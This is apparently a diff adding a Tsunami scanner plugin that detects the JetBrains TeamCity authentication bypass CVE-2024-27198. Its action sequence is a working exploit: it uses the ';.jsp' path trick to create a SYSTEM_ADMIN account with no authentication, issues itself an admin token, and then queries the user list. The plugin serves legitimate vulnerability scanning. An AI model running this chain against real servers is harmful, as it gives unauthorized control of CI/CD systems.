|
| 1 | +# proto-file: proto/templated_plugin.proto |
| 2 | +# proto-message: TemplatedPlugin |
| 3 | + |
| 4 | +############### |
| 5 | +# PLUGIN INFO # |
| 6 | +############### |
| 7 | + |
| 8 | +info: { |
| 9 | + type: VULN_DETECTION |
| 10 | + name: "JetBrainsTeamCity_CVE_2024_27198" |
| 11 | + author: "frkngksl" |
| 12 | + version: "1.0" |
| 13 | +} |
| 14 | + |
| 15 | +finding: { |
| 16 | + main_id: { |
| 17 | + publisher: "GOOGLE" |
| 18 | + value: "CVE-2024-27198" |
| 19 | + } |
| 20 | + severity: CRITICAL |
| 21 | + title: "JetBrains TeamCity Authentication Bypass Vulnerability (CVE-2024-27198)" |
| 22 | + description: "JetBrains TeamCity is a continuous integration and continuous deployment (CI/CD) server used by developers to automate building, testing, and releasing software. This vulnerability is a critical authentication-bypass vulnerability in JetBrains TeamCity that allows a remote, unauthenticated attacker to access endpoints meant to be protected and perform high-privilege actions." |
| 23 | + recommendation: "Update the version to 2023.11.4 or later." |
| 24 | + related_id: { |
| 25 | + publisher: "CVE" |
| 26 | + value: "CVE-2024-27198" |
| 27 | + } |
| 28 | +} |
| 29 | + |
| 30 | +config: {} |
| 31 | + |
| 32 | +########### |
| 33 | +# ACTIONS # |
| 34 | +########### |
| 35 | + |
| 36 | +actions: { |
| 37 | + name: "fingerprint_teamcity" |
| 38 | + http_request: { |
| 39 | + method: GET |
| 40 | + uri: "/login.html" |
| 41 | + response: { |
| 42 | + http_status: 200 |
| 43 | + expect_all: { |
| 44 | + conditions: [ |
| 45 | + { body: {} contains: "<title>Log in to TeamCity" } |
| 46 | + ] |
| 47 | + } |
| 48 | + } |
| 49 | + } |
| 50 | +} |
| 51 | +
|
| 52 | +actions: { |
| 53 | + name: "create_admin_user" |
| 54 | + http_request: { |
| 55 | + method: POST |
| 56 | + uri: "/hax?jsp=/app/rest/users;.jsp" |
| 57 | + headers: [ |
| 58 | + { name: "Accept" value: "*/*" }, |
| 59 | + { name: "Content-Type" value: "application/json" } |
| 60 | + ] |
| 61 | + data: "{\"username\": \"tsunamitest\", \"password\": \"tsunamitest\", \"email\": \"tsunami@tsunami.com\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}" |
| 62 | + response: { |
| 63 | + http_status: 200 |
| 64 | + extract_all: { |
| 65 | + patterns: [ |
| 66 | + { |
| 67 | + from_body: {} |
| 68 | + regexp: "<user username=\"tsunamitest\" id=\"([^\"]+)\"" |
| 69 | + variable_name: "userid" |
| 70 | + } |
| 71 | + ] |
| 72 | + } |
| 73 | + } |
| 74 | + } |
| 75 | + cleanup_actions: "delete_added_user" |
| 76 | +} |
| 77 | +
|
| 78 | +actions: { |
| 79 | + name: "create_admin_token" |
| 80 | + http_request: { |
| 81 | + method: POST |
| 82 | + uri: "/hax?jsp=/app/rest/users/id:{{ userid }}/tokens/testtoken;.jsp" |
| 83 | + headers: [ |
| 84 | + { name: "Accept" value: "*/*" }, |
| 85 | + { name: "Content-Type" value: "application/json" } |
| 86 | + ] |
| 87 | + response: { |
| 88 | + http_status: 200 |
| 89 | + extract_all: { |
| 90 | + patterns: [ |
| 91 | + { |
| 92 | + from_body: {} |
| 93 | + regexp: "value=\"([^\"]+)\"" |
| 94 | + variable_name: "usertoken" |
| 95 | + } |
| 96 | + ] |
| 97 | + } |
| 98 | + } |
| 99 | + } |
| 100 | +} |
| 101 | +
|
| 102 | +actions: { |
| 103 | + name: "get_user_list" |
| 104 | + http_request: { |
| 105 | + method: GET |
| 106 | + uri: "/app/rest/users" |
| 107 | + headers: [ |
| 108 | + { name: "Accept" value: "*/*" }, |
| 109 | + { name: "Authorization" value: "Bearer {{ usertoken }}" } |
| 110 | + ] |
| 111 | + response: { |
| 112 | + http_status: 200 |
| 113 | + expect_all: { |
| 114 | + conditions: [ |
| 115 | + { body: {} contains: 'username="tsunamitest"' } |
| 116 | + ] |
| 117 | + } |
| 118 | + } |
| 119 | + } |
| 120 | +} |
| 121 | +
|
| 122 | +actions: { |
| 123 | + name: "delete_added_user" |
| 124 | + http_request: { |
| 125 | + method: DELETE |
| 126 | + uri: "/app/rest/users/id:{{ userid }}" |
| 127 | + headers: [ |
| 128 | + { name: "Accept" value: "*/*" }, |
| 129 | + { name: "Authorization" value: "Bearer {{ usertoken }}" } |
| 130 | + ] |
| 131 | + response: { |
| 132 | + http_status: 204 |
| 133 | + } |
| 134 | + } |
| 135 | +} |
| 136 | +
|
| 137 | +############# |
| 138 | +# WORKFLOWS # |
| 139 | +############# |
| 140 | +
|
| 141 | +workflows: { |
| 142 | + actions: [ |
| 143 | + "fingerprint_teamcity", |
| 144 | + "create_admin_user", |
| 145 | + "create_admin_token", |
| 146 | + "get_user_list" |
| 147 | + ] |
| 148 | +} |
0 commit comments